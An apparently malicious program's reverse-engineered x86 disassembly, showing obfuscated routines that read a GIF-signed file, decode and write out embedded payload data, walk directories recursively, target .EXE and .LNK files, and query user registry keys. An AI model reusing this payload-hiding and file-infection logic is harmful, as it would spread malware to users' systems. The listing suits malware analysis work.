loc_446742: ; CODE XREF: sub_4466C9+65j
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_44674A: ; CODE XREF: sub_4466C9+1Cj
mov eax, dword_551190
add eax, 1Ah
cmp edi, eax
jb short loc_4466E7
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4466C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44675D proc near ; CODE XREF: sub_441AE5+17Ap
; sub_445895+151p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, dword_551178
sub esi, 3
jmp short loc_4467A3
; ---------------------------------------------------------------------------
loc_446771: ; CODE XREF: sub_44675D+49j
call ds:dword_550150
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, dword_551184
add edi, 50h
add edi, dword_5511F0
mov edx, eax
add edx, edi
mov [ebx+esi], dl
inc esi
loc_4467A3: ; CODE XREF: sub_44675D+12j
cmp esi, [ebp+arg_4]
jl short loc_446771
mov eax, [ebp+arg_4]
mov edx, dword_5511B4
add edx, dword_5511D0
sub edx, 4
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44675D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4467C4 proc near ; CODE XREF: sub_446E8A+1CEp
; sub_446E8A+1E0p
var_61EA3 = byte ptr -61EA3h
var_61DA8 = dword ptr -61DA8h
var_61DA4 = dword ptr -61DA4h
var_61D9E = byte ptr -61D9Eh
var_61D9D = byte ptr -61D9Dh
var_61C9E = byte ptr -61C9Eh
var_61C9D = byte ptr -61C9Dh
var_61C9C = dword ptr -61C9Ch
var_61C98 = byte ptr -61C98h
var_30F58 = dword ptr -30F58h
var_30F54 = byte ptr -30F54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E14 = byte ptr -30E14h
var_30DBF = byte ptr -30DBFh
var_30DBC = byte ptr -30DBCh
var_30D44 = byte ptr -30D44h
var_30D43 = byte ptr -30D43h
var_30D42 = byte ptr -30D42h
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
var_30D39 = byte ptr -30D39h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61EA4h
call sub_44797C
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
and [ebp+var_30E50], 0
movsx eax, word_551194
sub eax, 7
push eax
movsx eax, word_551214
add eax, dword_5510F8
sub eax, 7
push eax
push 3
movsx eax, word_5511EC
movsx edx, word_55120C
add eax, edx
sub eax, 3
push eax
movsx eax, word_55112C
sub eax, 5
push eax
push 80000000h
push [ebp+arg_0]
call ds:dword_54FC18
mov [ebp+var_30E48], eax
and [ebp+var_30F58], 0
mov eax, dword_5510C0
add eax, 0FFFFFFFEh
cmp [ebp+var_30E48], eax
jz loc_446E52
mov eax, dword_55116C
sub eax, 9
push eax
lea eax, [ebp+var_30E4C]
push eax
movsx eax, word_551120
mov edx, dword_5511F4
lea eax, [eax+edx+7Ch]
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call ds:dword_448034
mov [ebp+var_30E44], eax
mov eax, dword_551178
add eax, dword_55122C
cmp byte ptr [ebp+eax+var_30E44+3], 46h
jnz short loc_446901
mov eax, dword_55116C
cmp byte ptr [ebp+eax+var_30E48+1], 49h
jnz short loc_446901
movsx eax, word_551254
movsx edx, word_551094
add eax, edx
cmp byte ptr [ebp+eax+var_30E4C+2], 47h
jnz short loc_446901
mov eax, dword_551154
movsx edx, word_5510EC
add eax, edx
cmp byte ptr [ebp+eax+var_30E44+1], 38h
jnz short loc_446901
movsx eax, word_551260
cmp byte ptr [ebp+eax+var_30E44], 39h
jnz short loc_446901
mov eax, dword_551184
add eax, dword_551238
cmp byte ptr [ebp+eax+var_30E4C+1], 61h
jz short loc_446906
loc_446901: ; CODE XREF: sub_4467C4+D4j
; sub_4467C4+E3j ...
jmp loc_446E34
; ---------------------------------------------------------------------------
loc_446906: ; CODE XREF: sub_4467C4+13Bj
mov eax, dword_5510B4
sub eax, 4
cmp eax, [ebp+var_30E44]
jz loc_446E34
mov eax, dword_551154
add eax, 73h
movsx edx, word_551254
add eax, edx
cmp [ebp+eax+var_30E3F], 3Dh
jnz short loc_446972
movsx eax, word_5511AC
mov edx, dword_5510E0
lea eax, [eax+edx+23h]
movzx eax, [ebp+eax+var_30E3F]
movsx edx, word_551228
mov ecx, dword_5510BC
lea edx, [edx+ecx+35h]
cmp eax, edx
jnz short loc_446972
mov eax, dword_551090
cmp [ebp+eax+var_30DBF], 3Dh
jz short loc_446977
loc_446972: ; CODE XREF: sub_4467C4+16Fj
; sub_4467C4+19Dj
jmp loc_446E34
; ---------------------------------------------------------------------------
loc_446977: ; CODE XREF: sub_4467C4+1ACj
mov eax, dword_55124C
sub eax, 5
cmp eax, ebx
jnz short loc_4469D9
call sub_43F952
mov edx, eax
mov [ebp+var_61C9E], dl
movsx eax, word_5510E4
movsx edx, word_551268
lea eax, [eax+edx+80h]
cmp [ebp+eax+var_30E3F], 40h
jnz short loc_4469BB
mov [ebp+var_30E50], 1
jmp short loc_4469D9
; ---------------------------------------------------------------------------
loc_4469BB: ; CODE XREF: sub_4467C4+1E9j
mov al, [ebp+var_30DBC]
mov [ebp+var_61C9D], al
mov al, [ebp+var_61C9E]
cmp al, [ebp+var_61C9D]
jz loc_446E34
loc_4469D9: ; CODE XREF: sub_4467C4+1BDj
; sub_4467C4+1F5j
mov eax, dword_5510FC
sub eax, 2
push eax
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C98]
push eax
push [ebp+var_30E48]
call ds:dword_448034
mov [ebp+var_30E44], eax
mov eax, dword_5510BC
movsx edx, word_551104
add eax, edx
sub eax, 5
cmp [ebp+var_30E44], eax
jz loc_446E34
mov eax, [ebp+var_30E4C]
mov edx, dword_5511D4
add edx, dword_551190
sub edx, 0Fh
mov [ebp+eax+var_61C98], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C98]
push eax
call sub_4427A1
add esp, 0Ch
mov esi, eax
mov edi, dword_551160
sub edi, 5
jmp short loc_446AB5
; ---------------------------------------------------------------------------
loc_446A68: ; CODE XREF: sub_4467C4+2F3j
mov eax, dword_5510DC
sub eax, 7
cmp ebx, eax
jz short loc_446A87
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_446AB4
; ---------------------------------------------------------------------------
loc_446A87: ; CODE XREF: sub_4467C4+2AEj
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61DA4], eax
mov eax, edi
mul edi
mov [ebp+var_61DA8], eax
mov eax, [ebp+var_61DA4]
mov edx, [ebp+var_61DA8]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_446AB4: ; CODE XREF: sub_4467C4+2C1j
inc edi
loc_446AB5: ; CODE XREF: sub_4467C4+2A2j
cmp edi, esi
jb short loc_446A68
mov eax, dword_551230
movsx edx, word_5510F0
add eax, edx
sub eax, 8
cmp ebx, eax
jz short loc_446AEF
mov eax, dword_551138
sub eax, 2
mov edx, esi
sub edx, eax
mov eax, dword_551178
add eax, dword_551264
sub eax, 6
mov [ebp+edx+var_30D40], al
loc_446AEF: ; CODE XREF: sub_4467C4+308j
movsx eax, word_5511BC
mov edx, dword_5511D0
lea eax, [eax+edx+7Bh]
movsx edx, word_551234
add edx, dword_5511F8
sub edx, 0Bh
mov [ebp+eax+var_30E3F], dl
push 0FFh
lea eax, [ebp+var_61D9D]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_4427A1
lea eax, [ebp+var_61D9D]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_44718F
add esp, 18h
mov [ebp+var_30E44], eax
mov eax, dword_55125C
add eax, dword_5511FC
sub eax, 5
cmp eax, [ebp+var_30E44]
jnz loc_446E34
mov [ebp+var_30F58], 1
mov eax, dword_551264
sub eax, 3
cmp ebx, eax
jz loc_446CB7
movsx eax, word_551168
cmp [ebp+eax+var_30D44], 64h
jnz loc_446C18
movzx eax, [ebp+var_30D3F]
mov edx, dword_5511F8
add edx, 19h
sub eax, edx
mov [ebp+var_61D9E], al
movzx eax, [ebp+var_61D9E]
push eax
movsx eax, word_5510CC
sub eax, 5
push eax
call sub_43C10A
mov eax, dword_551090
add eax, dword_5511E4
sub eax, 6
mov dword_5512B8, eax
movsx eax, word_551220
dec eax
mov ds:dword_44B5D0, eax
mov eax, dword_551248
mov edx, dword_55122C
add edx, dword_551114
sub edx, 3
mov [ebp+eax+var_30D42], dl
mov eax, dword_5511E8
sub eax, 6
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_443E80
add esp, 10h
loc_446C18: ; CODE XREF: sub_4467C4+3CBj
movsx eax, word_551094
cmp [ebp+eax+var_30D43], 67h
jnz loc_446E34
movsx eax, word_551120
movsx edx, word_5511EC
movsx ecx, word_55123C
add edx, ecx
sub edx, 6
mov [ebp+eax+var_30D39], dl
lea eax, [ebp+var_30D3F]
push eax
call ds:dword_44901C
mov [ebp+var_61DA4], eax
push eax
push offset dword_54EA70
call sub_443F7C
movsx eax, word_551254
sub eax, 8
mov ds:dword_44B5D0, eax
mov eax, dword_551164
movsx edx, word_5510AC
add eax, edx
sub eax, 7
mov dword_5512B8, eax
mov eax, dword_551114
movsx edx, word_5510A0
add eax, edx
sub eax, 8
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_443E80
add esp, 14h
jmp loc_446E34
; ---------------------------------------------------------------------------
loc_446CB7: ; CODE XREF: sub_4467C4+3B6j
mov eax, dword_551134
sub eax, 8
cmp eax, [ebp+var_30E50]
jz loc_446D4B
call ds:dword_54EB70
mov [ebp+var_61DA4], eax
lea eax, [ebp+var_30F54]
push eax
movsx eax, word_551220
dec eax
push eax
movsx eax, word_5511BC
add eax, dword_5511A0
sub eax, 5
push eax
push 1Ch
movsx eax, word_5510B0
dec eax
push eax
call ds:dword_48BA00
push offset word_551592
call sub_43AC94
push [ebp+var_61DA4]
movsx edx, word_5511A8
add edx, 9
push edx
push eax
lea edx, [ebp+var_61EA3]
push edx
call ds:dword_50EA28
lea eax, [ebp+var_61EA3]
push eax
lea eax, [ebp+var_30F54]
push eax
call ds:dword_44802C
add esp, 1Ch
jmp short loc_446D7B
; ---------------------------------------------------------------------------
loc_446D4B: ; CODE XREF: sub_4467C4+501j
mov eax, dword_551114
add eax, 5
push eax
lea eax, [ebp+var_30F54]
push eax
call sub_44675D
push offset word_55158A
call sub_43AC94
push eax
lea edx, [ebp+var_30F54]
push edx
call ds:dword_44802C
add esp, 14h
loc_446D7B: ; CODE XREF: sub_4467C4+585j
movsx eax, word_55112C
sub eax, 5
push eax
push 80h
push 2
mov eax, dword_55113C
sub eax, 9
push eax
movsx eax, word_5510B0
movsx edx, word_5510A0
add eax, edx
sub eax, 8
push eax
push 40000000h
lea eax, [ebp+var_30F54]
push eax
call ds:dword_54FC18
mov [ebp+var_61C9C], eax
movsx eax, word_5511EC
add eax, dword_55109C
sub eax, 0Ah
push eax
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C9C]
call ds:dword_55001C
push [ebp+var_61C9C]
call ds:dword_4CDA48
mov eax, dword_551198
add eax, dword_551108
sub eax, 5
cmp [ebp+var_30E50], eax
jnz short loc_446E2F
push 5
lea eax, [ebp+var_30F54]
push eax
call ds:dword_44B094
movzx eax, [ebp+var_61C9D]
push eax
call sub_43DF32
pop ecx
jmp short loc_446E34
; ---------------------------------------------------------------------------
loc_446E2F: ; CODE XREF: sub_4467C4+64Aj
call sub_442A78
loc_446E34: ; CODE XREF: sub_4467C4:loc_446901j
; sub_4467C4+150j ...
push [ebp+var_30E48]
call ds:dword_4CDA48
cmp [ebp+var_30F58], 0
jz short loc_446E52
push [ebp+arg_0]
call ds:dword_44800C
loc_446E52: ; CODE XREF: sub_4467C4+80j
; sub_4467C4+683j
pop edi
pop esi
pop ebx
leave
retn
sub_4467C4 endp
; =============== S U B R O U T I N E =======================================
sub_446E57 proc near ; CODE XREF: sub_43F4C7+278p
call sub_43B004
push offset dword_551580
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_50EA24, eax
push offset byte_551575
call sub_43AC94
push eax
call sub_43F4AF
add esp, 10h
mov ds:dword_50EA28, eax
retn
sub_446E57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446E8A proc near ; CODE XREF: sub_43ADE6+E8p
; sub_446E8A+248p ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_119 = byte ptr -119h
var_114 = byte ptr -114h
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push 0
call ds:dword_50EA24
push offset byte_55156D
call sub_43AC94
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC328
mov [ebp+var_248], eax
mov ecx, dword_5511E4
add ecx, 0FFFFFFFAh
cmp eax, ecx
jnz loc_447077
mov eax, dword_5511B8
add eax, 30D38h
add eax, dword_5510E0
cmp [ebp+arg_24], eax
ja short loc_446F0C
mov eax, dword_551138
sub eax, 3
cmp [ebp+arg_20], eax
jbe short loc_446F11
loc_446F0C: ; CODE XREF: sub_446E8A+73j
jmp loc_447155
; ---------------------------------------------------------------------------
loc_446F11: ; CODE XREF: sub_446E8A+80j
mov eax, dword_551190
add eax, 3F4h
movsx edx, word_5511AC
add eax, edx
cmp [ebp+arg_24], eax
jnb short loc_446F3E
movsx eax, word_551220
add eax, 0A3h
cmp [ebp+arg_24], eax
jnz loc_447155
loc_446F3E: ; CODE XREF: sub_446E8A+9Dj
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54FC10
mov [ebp+var_260], eax
movsx eax, word_55115C
add eax, dword_5511D8
sub eax, 0Ah
cmp [ebp+var_260], eax
jge short loc_446F77
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_446F82
; ---------------------------------------------------------------------------
loc_446F77: ; CODE XREF: sub_446E8A+DEj
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_446F82: ; CODE XREF: sub_446E8A+EBj
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54EB78
movzx eax, [ebp+var_24E]
movzx edx, [ebp+var_258]
mov ecx, dword_5510BC
add ecx, 7E8FAh
add ecx, dword_5511A4
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_250]
mov ecx, dword_55122C
add ecx, 3Bh
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_252]
mov ecx, dword_5511F4
add ecx, 598h
add ecx, dword_551204
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_256]
mov ecx, dword_551138
add ecx, 0A8BCh
add ecx, dword_551174
imul edx, ecx
add eax, edx
mov [ebp+var_25C], eax
mov eax, ds:dword_448030
mov edx, [ebp+var_25C]
mov ecx, eax
sub ecx, edx
movsx esi, word_551214
add esi, 11h
cmp ecx, esi
jnb loc_447155
cmp edx, eax
ja loc_447155
mov eax, dword_551150
add eax, 9Bh
movsx edx, word_551188
add eax, edx
cmp eax, [ebp+arg_24]
jz short loc_447065
push 0
push [ebp+arg_0]
call sub_4467C4
add esp, 8
jmp loc_447155
; ---------------------------------------------------------------------------
loc_447065: ; CODE XREF: sub_446E8A+1C7j
push 1
push [ebp+arg_0]
call sub_4467C4
add esp, 8
jmp loc_447155
; ---------------------------------------------------------------------------
loc_447077: ; CODE XREF: sub_446E8A+5Aj
mov eax, dword_5510FC
movsx edx, word_5510E4
add eax, edx
cmp [ebp+eax+var_114], 2Eh
jz loc_447151
push offset dword_551564
call sub_43AC94
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_446E8A
add esp, 158h
jmp short loc_447151
; ---------------------------------------------------------------------------
loc_4470DF: ; CODE XREF: sub_446E8A+2C9j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_449FC8
mov ebx, eax
or ebx, ebx
jz short loc_447155
mov eax, dword_5511E8
cmp [ebp+eax+var_119], 2Eh
jz short loc_447151
push offset byte_55155B
call sub_43AC94
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50EA28
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_446E8A
add esp, 158h
loc_447151: ; CODE XREF: sub_446E8A+203j
; sub_446E8A+253j ...
or ebx, ebx
jnz short loc_4470DF
loc_447155: ; CODE XREF: sub_446E8A:loc_446F0Cj
; sub_446E8A+AEj ...
pop edi
pop esi
pop ebx
leave
retn
sub_446E8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44715A proc near ; DATA XREF: .data:0055130Co
push ebp
mov ebp, esp
mov eax, dword_5511C0
add eax, dword_55110C
sub eax, 9
cmp ds:dword_44B5B8, eax
jbe short loc_44717E
push offset dword_44B5B8
call ds:dword_448014
loc_44717E: ; CODE XREF: sub_44715A+17j
mov eax, ds:dword_44B5B8
pop ebp
retn 4
sub_44715A endp
; =============== S U B R O U T I N E =======================================
sub_447187 proc near ; DATA XREF: .data:00551310o
mov eax, 80004001h
retn 8
sub_447187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44718F proc near ; CODE XREF: sub_4467C4+37Ap
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_4471A6
add eax, 3Fh
loc_4471A6: ; CODE XREF: sub_44718F+12j
sar eax, 6
mov [ebp+var_4], eax
push 4
push 1000h
mov edi, eax
shl edi, 6
push edi
push 0
call ds:dword_48C31C
mov [ebp+var_18], eax
mov ecx, dword_551090
add ecx, 36h
mov eax, ecx
add eax, dword_551124
mul [ebp+var_4]
mov [ebp+var_5C], eax
push eax
push [ebp+var_18]
call ds:dword_448038
push [ebp+arg_4]
push esi
push [ebp+var_18]
call ds:dword_4CD914
lea eax, [ebp+var_14]
push eax
call sub_444F66
add esp, 10h
mov esi, [ebp+var_18]
mov eax, dword_55114C
mov ebx, eax
add ebx, dword_5511D8
sub ebx, 0Dh
jmp short loc_447235
; ---------------------------------------------------------------------------
loc_447213: ; CODE XREF: sub_44718F+A9j
push esi
lea eax, [ebp+var_14]
push eax
call sub_43B045
add esp, 8
movsx eax, word_5511A8
mov edx, dword_5510B4
lea eax, [eax+edx+3Ch]
lea esi, [esi+eax]
inc ebx
loc_447235: ; CODE XREF: sub_44718F+82j
cmp ebx, [ebp+var_4]
jb short loc_447213
lea eax, [ebp+var_58]
push eax
push [ebp+arg_8]
call sub_43A59E
push 8000h
movsx eax, word_5511AC
sub eax, 6
push eax
push [ebp+var_18]
call ds:dword_4CD910
mov eax, dword_55109C
add eax, 4
add eax, dword_55117C
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
call ds:dword_50EA40
add esp, 14h
movsx edi, word_55111C
movsx ebx, word_551110
add edi, ebx
dec edi
cmp edi, eax
jz short loc_447299
xor eax, eax
inc eax
jmp short loc_44729B
; ---------------------------------------------------------------------------
loc_447299: ; CODE XREF: sub_44718F+103j
xor eax, eax
loc_44729B: ; CODE XREF: sub_44718F+108j
pop edi
pop esi
pop ebx
leave
retn
sub_44718F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4472A0 proc near ; DATA XREF: sub_441AE5+193o
push ebp
mov ebp, esp
loc_4472A3: ; CODE XREF: sub_4472A0+23j
call sub_44030E
mov eax, dword_551208
add eax, 6DDCFAh
movsx edx, word_551234
add eax, edx
push eax
call ds:dword_50EA24
pop ecx
jmp short loc_4472A3
sub_4472A0 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4472C9 proc near ; CODE XREF: sub_43F2CB+A4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, ebx
shr edi, 4
mov eax, edi
mov ecx, dword_551184
add ecx, 7
movsx edx, word_551240
add ecx, edx
mul ecx
mov [ebp+var_4], eax
mov esi, ebx
sub esi, eax
mov ebx, dword_55117C
sub ebx, 4
mov ecx, esi
mov esi, ebx
shl esi, cl
mov ebx, [ebp+arg_0]
movzx ebx, word ptr [ebx+edi*2]
mov edi, ebx
and edi, esi
cmp edi, esi
jnz short loc_44731C
mov edi, dword_551108
dec edi
jmp short loc_44732F
; ---------------------------------------------------------------------------
loc_44731C: ; CODE XREF: sub_4472C9+48j
mov eax, dword_551114
movsx edx, word_551180
mov edi, eax
add edi, edx
sub edi, 4
loc_44732F: ; CODE XREF: sub_4472C9+51j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_4472C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447336 proc near ; CODE XREF: sub_43C752+333p
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_303 = byte ptr -303h
var_20C = byte ptr -20Ch
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
var_FD = byte ptr -0FDh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 318h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov edi, dword_5511D4
sub edi, 9
jmp loc_447568
; ---------------------------------------------------------------------------
loc_447356: ; CODE XREF: sub_447336+23Cj
push offset word_55151E
call sub_43AC94
push edi
push eax
lea edx, [ebp+var_303]
push edx
call ds:dword_50EA28
movsx eax, word_5510AC
add eax, 0F9h
mov [ebp+var_204], eax
push offset dword_55150C
call sub_43AC94
lea edx, [ebp+var_314]
push edx
lea edx, [ebp+var_204]
push edx
lea edx, [ebp+var_FF]
push edx
push eax
lea edx, [ebp+var_303]
push edx
push 80000001h
call sub_440281
add esp, 2Ch
mov [ebp+var_310], eax
test eax, eax
jz loc_447567
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FD]
push eax
call sub_44582B
mov eax, dword_5510D0
add eax, dword_5511F4
sub eax, 8
push eax
lea eax, [ebp+var_1FE]
push eax
push ebx
call sub_442127
add esp, 14h
mov edx, dword_5510DC
add edx, 0FFF5h
movsx ecx, word_551094
add edx, ecx
cmp edx, eax
jz loc_447567
push offset word_5514AE
call sub_43AC94
pop ecx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_44799C
mov eax, dword_551264
sub eax, 3
mov [ebp+var_308], eax
jmp short loc_447466
; ---------------------------------------------------------------------------
loc_44743A: ; CODE XREF: sub_447336+13Aj
mov eax, [ebp+var_308]
cmp [ebp+eax+var_FF], 23h
jnz short loc_447460
mov eax, [ebp+var_308]
mov edx, dword_5510DC
sub edx, 7
mov [ebp+eax+var_FF], dl
loc_447460: ; CODE XREF: sub_447336+112j
inc [ebp+var_308]
loc_447466: ; CODE XREF: sub_447336+102j
cmp [ebp+var_308], 0FFh
jb short loc_44743A
mov eax, dword_55110C
sub eax, 9
mov [ebp+var_30C], eax
loc_447480: ; CODE XREF: sub_447336+22Bj
mov eax, dword_5511E8
add eax, 0F9h
mov [ebp+var_204], eax
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_1FE]
push eax
mov eax, [ebp+var_30C]
lea eax, [ebp+eax+var_FF]
push eax
lea eax, [ebp+var_303]
push eax
push 80000001h
call sub_440281
add esp, 18h
mov [ebp+var_310], eax
test eax, eax
jnz short loc_4474E9
mov eax, dword_5511E4
add eax, dword_55113C
mov edx, dword_5511FC
mov [ebp+eax+var_20C], dl
loc_4474E9: ; CODE XREF: sub_447336+199j
mov eax, [ebp+var_30C]
mov [ebp+var_318], eax
lea ecx, [ebp+eax+var_FF]
or eax, 0FFFFFFFFh
loc_4474FF: ; CODE XREF: sub_447336+1CEj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4474FF
mov ecx, [ebp+var_318]
add ecx, eax
mov [ebp+var_30C], ecx
lea eax, [ebp+var_1FE]
push eax
push esi
call ds:dword_44802C
add esp, 8
push offset byte_5514A9
call sub_43AC94
add esp, 4
push eax
push esi
call ds:dword_44802C
add esp, 8
inc [ebp+var_30C]
mov eax, dword_5510D4
add eax, dword_551264
sub eax, 0Ah
mov edx, [ebp+var_30C]
movzx edx, [ebp+edx+var_FF]
cmp eax, edx
jnz loc_447480
loc_447567: ; CODE XREF: sub_447336+87j
; sub_447336+D6j
inc edi
loc_447568: ; CODE XREF: sub_447336+1Bj
mov eax, dword_551218
add eax, 1Dh
cmp edi, eax
jb loc_447356
pop edi
pop esi
pop ebx
leave
retn
sub_447336 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44757D proc near ; CODE XREF: sub_43FC04+74p
; sub_442C83+3Ep ...
var_259 = byte ptr -259h
var_258 = byte ptr -258h
var_257 = byte ptr -257h
var_256 = byte ptr -256h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_11A = byte ptr -11Ah
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_4475A5
mov eax, dword_551244
sub eax, 7
mov [ebp+var_248], eax
jmp loc_44762A
; ---------------------------------------------------------------------------
loc_4475A5: ; CODE XREF: sub_44757D+13j
mov edx, [ebp+arg_4]
mov ecx, dword_5510C4
add ecx, dword_551108
sub ecx, 0Bh
cmp ds:dword_44B5E0[edx*4], ecx
jnz short loc_4475D4
push esi
call ds:dword_44B5BC
mov eax, dword_5511A0
inc eax
push eax
call ds:dword_54EA60
loc_4475D4: ; CODE XREF: sub_44757D+41j
movsx eax, word_5511C4
add eax, 5Dh
mov [ebp+var_248], eax
push offset byte_5514A1
call sub_43AC94
push [ebp+arg_4]
push eax
lea edx, [ebp+var_256]
push edx
call ds:dword_50EA28
add esp, 10h
lea eax, [ebp+var_256]
push eax
call ds:dword_54EA64
cmp eax, 3
jnz short loc_44762A
mov eax, dword_551138
add eax, 128h
add eax, dword_5511B4
mov [ebp+var_248], eax
loc_44762A: ; CODE XREF: sub_44757D+23j
; sub_44757D+95j
xor edi, edi
inc edi
push offset word_55149A
call sub_43AC94
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50EA28
add esp, 10h
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_44764E: ; CODE XREF: sub_44757D+D6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_44764E
mov [ebp+var_24C], eax
mov edx, dword_55121C
add edx, dword_551184
sub edx, 3
sub eax, edx
cmp byte ptr [ebx+eax], 2Eh
jnz loc_44771F
mov eax, [ebp+var_24C]
sub eax, 4
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_257], dl
mov eax, [ebp+var_24C]
sub eax, 2
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_258], dl
mov eax, [ebp+var_24C]
sub eax, 3
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44803C
add esp, 4
mov edx, eax
mov [ebp+var_259], dl
cmp [ebp+var_257], 45h
jnz short loc_4476FD
cmp [ebp+var_258], 45h
jnz short loc_4476FD
cmp [ebp+var_259], 58h
jnz short loc_4476FD
push [ebp+var_248]
push ebx
call sub_43C506
add esp, 8
loc_4476FD: ; CODE XREF: sub_44757D+15Dj
; sub_44757D+166j ...
cmp [ebp+var_258], 4Bh
jnz short loc_44771F
cmp [ebp+var_259], 4Eh
jnz short loc_44771F
cmp [ebp+var_257], 4Ch
jnz short loc_44771F
push ebx
call sub_43B946
pop ecx
